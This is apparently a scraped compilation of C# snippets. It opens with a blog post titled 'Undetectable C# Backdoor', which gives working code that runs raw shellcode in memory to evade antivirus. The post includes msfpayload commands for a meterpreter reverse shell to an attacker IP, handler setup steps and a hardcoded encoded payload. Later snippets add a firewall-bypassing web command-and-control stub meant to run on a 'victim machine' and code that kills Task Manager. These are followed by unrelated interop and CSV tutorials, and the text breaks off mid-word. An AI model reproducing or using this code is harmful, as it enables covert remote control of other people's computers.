Undetectable C# Backdoor

.
Here is the vid if you’d like to watch it:

•    https://www.youtube.com/watch?feature=player_embedded&v=e2Ih67nR7RY#!

To sum up he said that given the fact that most AVs detects meterpreter, the only way of making it undetectable was to embed it into something else, like a new program. His approach consists in importing the metasploit-generated reverse_tcp.exe file as a resource into a new C# application. So when the program starts, first, loads the resource as a stream of bytes, then, writes a new exe file with them and last but not least, launch a new different process.
Even with all that, several AVs classified the C# app as malicious… 9/42 detections in http://virustotal.com.
Regardless of the above, the first thing I did after the video finished was to reproduce the concept. Sadly, when I started the program my Avast jumped in as a jedi killing the malicious process.

I will now describe the solution which X_Typhon and I developed for overcoming the 43 AVs at current time:
Our approach is quite simple: it is based on the possibility of executing assembler code from C#.

This is an example code:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53

using System; using System.Reflection; using System.Runtime.InteropServices;   namespace ExecutingASM {     class Program     {           [DllImport("kernel32.dll", SetLastError = true)]         //[DllImport("kernel32.dll")]         static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect);           public delegate uint BadDelegate(uint address);           static uint StubMethod(uint arg1)         {             return 0;         }           public static byte[] asmBytes = new byte[]         {             0x8b,0xff, //mov edi, edi             0x8b,0xc2, //mov eax, edx             0x81,0xc0,0x0a,0x00,0x00,0x00, //add eax, 0x0a             0xc3 //ret         };           unsafe static void Main(string[] args)         {             fixed (byte* startAddress = &asmBytes[0]) // Take the address of our x86 code             {                 // Get the FieldInfo for "_methodPtr"                 Type delType = typeof(Delegate);                 FieldInfo _methodPtr = delType.GetField("_methodPtr", BindingFlags.NonPublic | BindingFlags.Instance);                   // Set our delegate to our x86 code                 BadDelegate del = new BadDelegate(StubMethod);                 _methodPtr.SetValue(del, (IntPtr)startAddress);                   //Disable protection                 uint outOldProtection;                 VirtualProtect((IntPtr)startAddress, (uint)asmBytes.Length, 0x40, out outOldProtection);                   // Execute                 uint n = (uint)0x00000001;                 n = del(n);                 Console.WriteLine("0x0{0:x}", n);                 Console.ReadKey();             }         }     } }

Remember to check the “Allow Unsafe Code” in the project’s properties, otherwise it won’t compile.

If you run this application a new Console will pop up showing the value 0x0b… why?…

Basically what this code does is:

1.    Creates a delegate.
2.    Adds the StubMethod to the chain.
3.    By means of reflection, changes the delegate’s callback to point to asmBytes.
4.    Changes the page memory protection to PAGE_EXECUTE_READWRITE.
5.    Executes the delegate.

Now in detail:

First things first… The unsafe is needed because of the raw pointers operations.

The fixed statement prevents the garbage collector from relocating a movable variable. In this case, asmBytes must not be relocated.

The _methodPtr is a private member from System.Delegate which points to the code to get executed by the delegate. FieldInfo exposes a SetValue method which allow us to set the _methodPtr member to an arbitrary value. This is pretty much like CVE-2012-4681.

Due to asmBytes it is placed in a non-executable memory zone, we have to issue a call to VirtualProtect(), otherwise we will get a runtime exception.

The delegate signature is: public delegate uint BadDelegate(uint address)

This means that only methods with the same signature can be added to its internal list. That’s why StubMethod receives & returns uint. In the CLR the calling convention is fastcall, so the first parameter (the object instance) goes in ECX while the second goes in EDX.

The program initializes a new variable “n” to 0x00000001 and is passed as an argument to the delegate. The assembler code picks the arg from EDX and adds 0x0a.

By now it should be clear how the application works. What would happen if we put the opcodes of the meterpreter?

This is the actual & final code:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60

using System; using System.Reflection; using System.Runtime.InteropServices; using System.IO;   namespace ExecutingASM {     class Program     {           [DllImport("kernel32.dll", SetLastError = true)]         //[DllImport("kernel32.dll")]         static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect);           public delegate uint BadDelegate(uint address);           static uint StubMethod(uint arg1)         {             return 0;         }           public static byte[] ReadPayload()         {             using(Stream myStream = new FileStream(Environment.CurrentDirectory + "/payload", FileMode.Open))             {                 var length = myStream.Length;                 var result = new byte[length];                 myStream.Read(result, 0, (int) length);                 return result;             }         }           public static byte[] Payload = ReadPayload();           unsafe static void Main(string[] args)         {             fixed (byte* startAddress = &Payload[0]) // Take the address of our x86 code             {                 // Get the FieldInfo for "_methodPtr"                 Type delType = typeof(Delegate);                 FieldInfo _methodPtr = delType.GetField("_methodPtr", BindingFlags.NonPublic | BindingFlags.Instance);                   // Set our delegate to our x86 code                 BadDelegate del = new BadDelegate(StubMethod);                   _methodPtr.SetValue(del, (IntPtr)startAddress);                   //Disable protection                 uint outOldProtection;                 VirtualProtect((IntPtr)startAddress, (uint)Payload.Length, 0x40, out outOldProtection);                   // Enjoy                 uint n = (uint)0x00000001;                 n = del(n);                 Console.WriteLine("\n0x0{0:x}", n);                 Console.ReadKey();             }         }     } }

The main difference is that instead of hardcoding opcodes in the program, we read a file as a stream of bytes. This makes a light coupling code : ).

Let’s assume our attacking machine is running a backtrack and has a NIC 192.168.1.2; Run the following in order to get the metasploit backdoor:

root@bt:/pentest/exploits/framework# msfpayload windows/meterpreter/reverse_tcp lhost=192.168.1.2 lport=4444 R | msfencode -e x86/shikata_ga_nai -c 10 -t raw -o payload  —-(Notice the raw output format)—-

Next, copy the file to the same location of the application. Before executing it remember to start a metasploit handler in the backtrack:

1.    Start msfconsole
2.    Enter “use exploit/multi/handler”
3.    Enter “set payload windows/meterpreter/reverse_tcp”
4.    Enter “set lhost 192.168.1.2”
5.    Enter “exploit”

Execute the C# app and you should get a new session opened on the attacking machine :).

The next version was uploaded to http://www.virustotal.com on 31/12/2012 at 08:24 am:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84

using System; using System.Reflection; using System.Runtime.InteropServices;   namespace ExecASMHardcoded {     class Program     {           [DllImport("kernel32.dll", SetLastError = true)]         //[DllImport("kernel32.dll")]         static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect);           public delegate uint Ret1ArgDelegate(uint address);         static uint PlaceHolder1(uint arg1) { return 0; }           public static byte[] asmBytes = new byte[]         {             0xdd,0xc5,0xd9,0x74,0x24,0xf4,0x5b,0x29,0xc9,0xb1,0x86,0xba,0x6d,0x73,             0x6a,0xf3,0x31,0x53,0x18,0x03,0x53,0x18,0x83,0xc3,0x69,0x91,0x9f,0x2a,             0x9b,0xed,0xab,0xa3,0x43,0x62,0xf5,0x48,0x57,0x8e,0x5e,0x9a,0x5e,0xdf,             0x1e,0x5f,0xa3,0x24,0xd0,0x1c,0x36,0x26,0x51,0xb6,0x11,0xb3,0xf7,0xe2,             0x64,0x74,0x56,0x69,0xf9,0x9b,0xab,0xd6,0xee,0x10,0x5e,0x8f,0x52,0xa1,             0x39,0xff,0x52,0x6a,0xf4,0xde,0x99,0xc7,0x58,0x83,0x15,0xda,0x7d,0x2e,             0xa4,0x57,0xdf,0xe2,0xad,0x32,0xa7,0x3b,0xf5,0x3c,0x8f,0x1c,0xaa,0x39,             0x88,0x30,0xb1,0xb2,0x7d,0x7c,0x27,0x09,0x2f,0xbd,0xd8,0x45,0xca,0x96,             0xae,0x1e,0x92,0x16,0xef,0x05,0xa0,0x7a,0xd4,0xfd,0x44,0x3d,0x23,0x06,             0x93,0x3f,0x3b,0x72,0x49,0xc1,0x8c,0x4b,0x53,0x04,0xaa,0xb7,0x71,0x3f,             0x93,0x50,0x68,0xa0,0x75,0x4b,0x50,0x8f,0x7d,0x58,0x07,0x0f,0x78,0xfa,             0x56,0xdd,0x2a,0x45,0xa3,0x7f,0x10,0xfe,0xfe,0x6d,0x9b,0x81,0xc5,0x05,             0x5f,0x23,0xf8,0x9f,0xd1,0x0a,0xb1,0x96,0xf4,0xce,0x7b,0x00,0x62,0x8a,             0x5a,0x6f,0xa6,0x64,0x19,0x63,0xfd,0x3d,0x09,0x87,0x8f,0x9f,0xb6,0x5b,             0x17,0xb2,0x5f,0xe0,0x79,0x84,0x03,0x59,0x19,0x45,0xb8,0x91,0x76,0x2d,             0x9d,0xb5,0x82,0xc3,0x5d,0x57,0x6d,0x71,0x31,0xb5,0x99,0x59,0xc5,0xd5,             0x1b,0xdd,0xdb,0x2a,0x96,0xe4,0xc7,0xc5,0xec,0x17,0xd0,0xfb,0x17,0x97,             0x7f,0xa1,0x32,0x00,0x07,0x76,0x1b,0x98,0xeb,0x3e,0x1e,0xce,0xc3,0x35,             0x62,0x45,0x09,0x58,0xff,0x36,0x4c,0xe0,0x07,0x74,0xfa,0x36,0xf1,0x97,             0xbd,0x24,0xdc,0x47,0x60,0x88,0xc4,0xab,0x55,0x33,0xc8,0xf0,0x62,0x68,             0xe2,0x49,0x49,0x0b,0xef,0x1c,0x2f,0x0b,0xc0,0xe0,0xc2,0x9a,0x6c,0xd7,             0xee,0x21,0x5c,0x7e,0xe6,0xfe,0xc2,0x22,0xbc,0xda,0x84,0x45,0x57,0x1b,             0xd2,0x55,0x0a,0xc7,0x15,0x8b,0x36,0x62,0x53,0xb3,0x6c,0x57,0x8f,0x9e,             0xd7,0x9d,0xe3,0x86,0xeb,0x0e,0xb3,0xb6,0x9c,0xff,0xbd,0x45,0x56,0x1f,             0xda,0x64,0x5e,0xa4,0x63,0x49,0xb4,0xf4,0x56,0xb5,0xa3,0x4b,0xb4,0x47,             0x16,0xbd,0x55,0x0e,0xd6,0x80,0x96,0xb6,0xd3,0x7b,0x32,0x83,0x1b,0x9e,             0x41,0x84,0xaf,0x6c,0x51,0x76,0x92,0x3b,0x62,0x8b,0x2d,0x0a,0xc9,0x22,             0x6f,0xf0,0x81,0x54,0x5f,0x68,0x07,0x1a,0xc3,0x8d,0xfe,0x96,0x24,0x5b,             0xcb,0x7f,0xc6,0xa9,0x0b,0xa0,0x08,0x68,0x7f,0x2b,0x2e,0x4f,0x91,0x04,             0xc4,0x7a,0xcd,0xff,0x03,0x65,0xfe,0x0a,0x23,0x30,0xbd,0x1d,0xc4,0x30,             0x1c,0x5a,0x5a,0x08,0xbd,0x86,0x32,0xd8,0xab,0xd7,0x4a,0x68,0x85,0xe1,             0x76,0xdd,0x85,0x69,0x78,0xd2,0x1b,0xad,0xb0,0xcd,0x9d,0x69,0xaa,0x56,             0xa7,0x03,0xd4,0xcf,0x51,0x9e,0xeb,0x63,0x35,0x43,0x32,0xa2,0x30,0x85,             0x9c,0x15,0xfd,0x2c,0xad,0x9c,0x39,0x31,0x30,0xc8,0x73,0xb0,0x7b,0xde,             0xf0,0x65,0x23,0x07,0x2d,0xc0,0xb8,0xfb,0x9f,0xe0,0x06,0x31,0xae,0x43,             0xa9,0x7b,0xc4,0x54,0xef,0x75,0x6d,0x07,0x39,0x3c,0x36,0x20,0xf9,0x31,             0x04,0x79,0x86,0x82,0x65,0xa0,0x13,0x2c,0xd2,0xfe,0x6b,0x3b,0x53,0x03,             0xe5,0xbd,0x8b,0x36,0x04,0x51,0x98,0xc8,0x4b,0x5e,0x70,0xd9,0xcf,0x41,             0x48,0x84,0xa9,0x5d,0x02,0x78,0x5e,0xfe,0x1d,0x11,0xe4,0xad,0x7c,0x24,             0xbf,0x23,0x0a,0xbf,0x12,0xf3,0xc8,0x7b,0x16,0xd1,0x31,0x13,0x2c,0x39                 };           unsafe static void Main(string[] args)         {             fixed (byte* startAddress = &asmBytes[0]) // Take the address of our x86 code             {                 // Get the FieldInfo for "_methodPtr"                 Type delType = typeof(Delegate);                 FieldInfo _methodPtr = delType.GetField("_methodPtr", BindingFlags.NonPublic | BindingFlags.Instance);                   // Set our delegate to our x86 code                 Ret1ArgDelegate del = new Ret1ArgDelegate(PlaceHolder1);                 _methodPtr.SetValue(del, (IntPtr) startAddress);                   //Disable protection                 uint outOldProtection;                 VirtualProtect((IntPtr) startAddress, (uint) asmBytes.Length, 0x40, out outOldProtection);                 // Enjoy                 uint n = (uint)0x00000001;                 n = del(n);                 Console.WriteLine("{0:x}", n);                 Console.ReadKey();             }         }     } }

As you can see, the opcodes were hardcoded in the application so it gives virustotal.com a chance xD… These are the results:

You can foresee what would happen if you upload the decoupled version.

That’s all for now… Happy New Year!!!
Cheerz!!

References:
•    http://www.atrevido.net/blog/PermaLink.aspx?guid=ac03f447-d487-45a6-8119-dc4fa1e932e1
•    http://www.devjoker.com/print/Tutorial-C/159/Tutorial-C.aspx
•    http://msdn.microsoft.com/en-us/library/f58wzh21.aspx
•    http://msdn.microsoft.com/es-es/library/6z33zd7h.aspx
•    http://msdn.microsoft.com/en-us/library/windows/desktop/aa366898%28v=vs.85%29.aspx
•    http://www.pinvoke.net/default.aspx/kernel32.VirtualProtect
•    Pro C# 2010 and the .NET 4 Platform 5th Edition – Apress – Andrew Troelsen

Creating a C# Module From a DLL Header File

-Create a public class - Create public static methods in this class using

http://community.silabs.com/mgrfq63796/attachments/mgrfq63796/5%40tkb/331/1/Creating%20a%20C%23%20Module%20From%20a%20DLL%20Header%20File.pdf

DLLImport for each exported function Example: C (.h) File: __declspec(dllexport) int Add(int a, int b); C# (.cs) File: public class MathDll { [DllImport("Math.dll")] public static extern int Add(int a, int b); } - Create public const class members for each #define constant Example: C(.h) File: #define PI 3.14159 #define START_OF_FRAME 0x55 C# (.cs) File: public class SomeDll { public const double PI = 3.14159; public const byte START_OF_FRAME = 0x55; } - Use the appropriate data types: Type C C# 1 byte unsigned bool, unsigned char, BYTE byte 1 byte signed char sbyte 2 bytes unsigned unsigned short, WORD ushort 2 bytes signed short short 4 bytes unsigned unsigned int, unsigned long, UINT, DWORD uint 4 bytes signed int, long, BOOL int 4 bytes floating point float float 8 bytes floating point double double 4/8 byte pointer void* IntPtr See http://msdn.microsoft.com/en-us/library/4xwz0t37(VS.80).aspx for more information on data types. - Special cases: 1. Parameters passed as a pointer should use the ref keyword. Example: C (.h) File: __declspec(dllexport) void Halve(BYTE* value); C# (.cs) File: public class MathDll { [DllImport("Math.dll")] public static extern void Half(ref byte value); } 2. Parameters passed as an output C string (char* or LPSTR) should use the StringBuilder class. Example: C (.h) File: __declspec(dllexport) void GetName(char* name, int size); C# (.cs) File: using System.Text; public class SomeDll { [DllImport("Some.dll")] public static extern void GetName(StringBuilder name, int size); } Calling Example: StringBuilder name = new StringBuilder(100); SomeDll.GetName(name, 100); 3. Parameters passed as an input C string (const char* or LPCSTR) should use the string class. Example: C (.h) File: __declspec(dllexport) void SetName(const char* name); C# (.cs) File: public class SomeDll { [DllImport("Some.dll")] public static extern void SetName(string name); } Calling Example: string name = “John Smith”; SomeDll.SetName(name); 4. Parameters passed as an array should use C# arrays. Example: C (.h) File: __declspec(dllexport) void GetBuffer(BYTE* buffer, int size, int* bytesReturned); C# (.cs) File: public class SomeDll { [DllImport("Some.dll")] public static extern void GetBuffer(byte[] buffer, int size, ref int bytesReturned); } Note: Arrays in C# are considered objects. As such, arrays are already passed by reference, therefore you should not add the ref keyword before the array. 5. Parameters passed as a void pointer (void*) should use the IntPtr type. Example: C (.h) File: __declspec(dllexport) void SetObject(void* object); __declspec(dllexport) void GetObject(void** object); C# (.cs) File: public class SomeDll { [DllImport("Some.dll")] public static extern void SetObject(IntPtr object); [DllImport("Some.dll")] public static extern void GetObject(ref IntPtr object); } Note: Passing pointers can be problematic when dealing with 32-bit/64-bit systems. IntPtr is platform dependent, meaning that it is a four byte pointer on 32-bit systems and an eight byte pointer on a 64-bit system. A .NET application running in 64-bit mode will not be able to load a 32-bit DLL. You must either build a separate 64-bit DLL or modify your .NET project to only run in 32-bit mode. 6. Structures must always be passed by reference in the C DLL. Example: C (.h) File: typedef struct PERSON { BYTE id; WORD month; char name[10]; } PERSON, *PPERSON; __declspec(dllexport) void GetPerson(PPERSON person); __declspec(dllexport) void SetPerson(PPERSON person); C# (.cs) File: using System.Runtime.InteropServices; [StructLayout(LayoutKind.Sequential)] public class PERSON { public byte id; public ushort month; [MarshalAs(UnmanagedType.ByValArray, SizeConst = 10)] public byte [] name; } public class SomeDLL { [DllImport(“SomeDLL.dll”)] public static extern void GetPerson( [In,Out, MarshalAs(UnmanagedType.LPStruct)] PERSON person); [DllImport(“SomeDLL.dll”)] public static extern void SetPerson( [In, MarshalAs(UnmanagedType.LPStruct)] PERSON person); } Calling Example: PERSON person = new PERSON(); SomeDLL.GetPerson(person); person.id = 2; SomeDLL.SetPerson(person); Note: The “In” attribute forces marshaling data from the caller to the callee. The “Out” attribute forces marshaling data from the callee back to the caller. The default attribute is “In”. If “Out” is specified, then “In” does not implicitly apply. 7. Parameters passed as an array of structs should use C# arrays of Structs passed by value with the In/Out attributes specified as needed. Examples: C (.h) File: typedef struct PERSON { BYTE id; WORD month; char name[10]; } PERSON, *PPERSON; __declspec(dllexport) void GetPeople(PERSON people[], DWORD* numPeople); __declspec(dllexport) void SetPeople(PERSON people[], DWORD numPeople); C# (.cs) File: using System.Runtime.InteropServices; [StructLayout(LayoutKind.Sequential)] public struct PERSON { public byte id; public ushort month; [MarshalAs(UnmanagedType.ByValArray, SizeConst = 10)] public byte[] name; } public class SomeDLL { [DllImport("StructTest.dll")] public static extern void GetPeople([In, Out]PERSON[] people, ref uint numPeople); [DllImport("StructTest.dll")] public static extern void SetPeople(PERSON[] people, uint numPeople); } Calling Example: PERSON[] people = new PERSON[2]; uint numPeople = (uint)people.Length; people[0].id = 1; people[0].month = 11; people[0].name = new byte[10]; people[0].name[0] = 0x31; people[1].id = 2; people[1].month = 12; people[1].name = new byte[10]; people[1].name[0] = 0x32; SomeDLL.SetPeople(people, numPeople); numPeople = (uint)people.Length; SomeDLL.GetPeople(people, ref numPeople); 8. Callbacks must be defined as C# delegates. Examples: C (.h) File: typedef void (CALLBACK *ProgressCallback)(int percent); __declspec(dllexport) void RegisterProgress(ProgressCallback progress); C# (.cs) File: public class SomeDLL { public delegate void ProgressCallback(int percent); [DllImport("Some.dll")] public static extern void RegisterProgress(ProgressCallback progress); } Calling Example: void Progress(int percent) { // do something with the progress percent } void CallingExample() { SomeDLL.RegisterProgress(new SomeDLL.ProgressCallback(Progress)); } 9. Win32 BOOL (4-byte int) data types can be automatically marshaled as a C# bool data type (1-byte). Examples: C (.h) File: __declspec(dllexport) void SetEnable(BOOL enable); __declspec(dllexport) void GetEnable(BOOL* enable); C# (.cs) File: public class SomeDLL { [DllImport("Some.dll")] public static extern void SetEnable(bool enable); [DllImport("Some.dll")] public static extern void GetEnable(ref bool enable); } Calling Example: bool success; bool enable = true; SomeDLL.SetEnable(enable); SomeDLL.GetEnable(ref enable); if (enable) { success = true; }

c# bypass firewall

using System;
using System.IO;
using System.Net;
using System.Text;



namespace WebGet
{
    class Webget
    {
        public static void Main()
        {
            // Create a request for the URL. 
            WebRequest request = WebRequest.Create(
              "http://www.firewal.bypass.com/index3.html");
            // If required by the server, set the credentials.
            request.Credentials = CredentialCache.DefaultCredentials;
            // Get the response.
            WebResponse response = request.GetResponse();
            // Display the status.
            Console.WriteLine(((HttpWebResponse)response).StatusDescription);
            // Get the stream containing content returned by the server.
            Stream dataStream = response.GetResponseStream();
            // Open the stream using a StreamReader for easy access.
            StreamReader reader = new StreamReader(dataStream);
            // Read the content.
            string responseFromServer = reader.ReadLine();
            // Display the content.
            
                Console.WriteLine(responseFromServer);
                Console.ReadLine();
            
            // Clean up the streams and the response.
            reader.Close();
            response.Close();
            if(responseFromServer=="<html_NOTEPAD>")
            {
            string WorkingDirectory = "C:\\Windows"; 
            try
            {
                System.Diagnostics.Process p = new System.Diagnostics.Process();
                p.StartInfo.CreateNoWindow = true;
                p.StartInfo.WorkingDirectory = WorkingDirectory;
                p.StartInfo.FileName =  WorkingDirectory + "\\" + "notepad.exe";
                p.StartInfo.Arguments = null;     
                // build here the arguments                       
                p.EnableRaisingEvents = true;         
                // if you want to capture events
                p.StartInfo.UseShellExecute = false;
                p.Start();
            }
            catch(Exception exProcess){}
        }


        }
        

    }
}

And finally for Web Command and Control, have a website setup to feed a <html_NOTPEAD> in its index3.html page... run this on the victim machine and Notepad will spawn, no big deal really, EXCEPT that ZoneAlarm and MCSFT Firewall wont ALERT the user to anything...

c# dll çalıştırma

public static class DllHelper
{
    [System.Runtime.InteropServices.DllImport("Dll1.dll")]
    public static extern int function1();
}

private void buttonStart_Click(object sender, EventArgs e)
{
    try
    {
        DllHelper.function1();
    }
    catch (Exception ex)
    {
        Console.WriteLine(ex.Message);
    }
}      

--------

You'll need to load the assembly from disk, as follows:
Assembly myLibrary = System.Reflection.Assembly
    .LoadFile("C:\\Users\\Admin\\Desktop\\myTestLibrary.dll");

After that you will need to get the proper type using reflection and invoke the proper method. It will be most convenient when that class you want to call implements an interface that is defined in an assembly that is referenced at startup:
Type myClass = (
    from type in myLibrary.GetExportedTypes()
    where typeof(IMyInterface).IsAssignableFrom(type)
    select type)
    .Single();

var instance = (IMyInterface)Activator.CreateInstance(myClass);

instance.executeMethod("showMessageMethod", arg1, arg2, arg3...);

c# windows process

1). Create a new C# windows application in Visual Studio.
2). Drag from the ToolBox onto the window the following items:
a). 1 listbox
b). 2 buttons
c). 1 label
d). 1 timer
e). 1 label
3). Rename the following from their properties box:
listbox1—>listboxProcess
textBox1—>textBoxName
button1—>buttonBlock
button2—>buttonAllow
label1—>labelStatus
4). Also, make the value of HorizontalScrollBar in the properties of listbox as “true”.
5). Value of Enabled=true and Interval=100 for the timer in the properties box.
6). Give your form the following look:

7). Place the labelStatus below the buttons. This will tell us if the application is blocking a process or not.
8). Include the following line in the .cs file: “using System.Diagnostics;” This will not be automatically written by      Visual Studio.
9). Write the following lines of code in form’s load event, button click events, etc etc.

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Diagnostics;//INCLUDED MANUALLY

namespace TaskMan
{
public partial class FormTaskMan : Form
{
string targetProcess;
public FormTaskMan()
{
InitializeComponent();
}

private void FormTaskMan_Load(object sender, EventArgs e)
{
//GETTING THE LIST OF PROCESSES
foreach (Process p in Process.GetProcesses())
{
listBoxProcess.Items.Add(p.ProcessName+”—–>”+p.MainWindowTitle

}
labelStatus.Text = “”;
}

private void buttonBlock_Click(object sender, EventArgs e)
{
targetProcess = textBoxName.Text;
labelStatus.Text = textBoxName.Text + ” BLOCKED!”;
}

private void buttonAllow_Click(object sender, EventArgs e)
{
targetProcess = “”;
labelStatus.Text =”ALLOWED!”;
}

private void timer1_Tick(object sender, EventArgs e)
{
foreach (Process p1 in Process.GetProcesses())
{
//targetProcess WILL BE BLOCKED, WINDOWS TASKMANAGER WILL BE BLOCKED, AND THE APPLICATION ITSELF CANNOT BE BLOCKED!
if ((p1.ProcessName==targetProcess) || p1.ProcessName.StartsWith(“taskmgr”) && p1.ProcessName.StartsWith(“TaskMan”)==false)
{
try
{
p1.Kill();
}
catch (Win32Exception)
{
//Process cannot be blocked
}
}
}
}

}
}

Enjoy…
Try it our with a few processes like “wmplayer” for Windows Media Player, “firefox” for Mozilla Firefox, “iexplore” for Internet Explorer…

c# csv reading

using (TextFieldParser parser = new TextFieldParser(@"c:\temp\test.csv"))
{
    parser.TextFieldType = FieldType.Delimited;
    parser.SetDelimiters(",");
    while (!parser.EndOfData) 
    {
        //Processing row
        string[] fields = parser.ReadFields();
        foreach (string field in fields) 
        {
            //TODO: Process field
        }
    }
}

It w